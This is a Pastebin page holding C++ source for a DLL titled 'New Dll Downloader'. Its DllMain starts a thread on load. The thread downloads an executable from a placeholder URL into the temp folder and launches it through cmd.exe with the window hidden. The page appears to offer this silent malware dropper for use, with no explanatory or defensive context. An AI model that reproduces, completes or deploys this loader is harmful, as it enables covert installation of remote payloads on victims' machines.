CorrM

New Dll Downloader

Mar 11th, 2015
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.94 KB | None | 0 0
  1. #pragma comment(lib, "UrlMon.lib")
  2.  
  3. #include <stdio.h>
  4. #include "stdafx.h"
  5. #include <Shellapi.h>
  6. #include <Windows.h>
  7. #include <iostream>
  8. #include <UrlMon.h>
  9. #include <cstdlib>
  10. #include <TCHAR.H>
  11. #include "Shlwapi.h"
  12. using namespace std;
  13.  
  14.  
  15. TCHAR lpTempPathBuffer[MAX_PATH];
  16. TCHAR SysPath[MAX_PATH];
  17.  
  18. void DonwFile(void)
  19. {
  20.     GetTempPath(MAX_PATH, lpTempPathBuffer);
  21.     _tcscat_s(lpTempPathBuffer, MAX_PATH, L"\\ServerName.exe");
  22.     HRESULT UD = URLDownloadToFile(0, L"Server Direct Link", lpTempPathBuffer, 0, 0);
  23.  
  24.     GetSystemDirectory(SysPath, MAX_PATH);
  25.     _tcscat_s(SysPath, MAX_PATH, L"\\cmd.exe");
  26.  
  27.  
  28.     ShellExecute(0, 0, SysPath, L"/k start %TEMP%\\ServerName.exe & exit", NULL, SW_HIDE);
  29. }
  30.  
  31.  
  32. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
  33. {
  34.     switch (ul_reason_for_call)
  35.     {
  36.     case DLL_PROCESS_ATTACH:
  37.         CreateThread(0, 0, (LPTHREAD_START_ROUTINE)DonwFile, 0, 0, 0);
  38.     }
  39.     return TRUE;
  40. }
Add Comment
Please, Sign In to add comment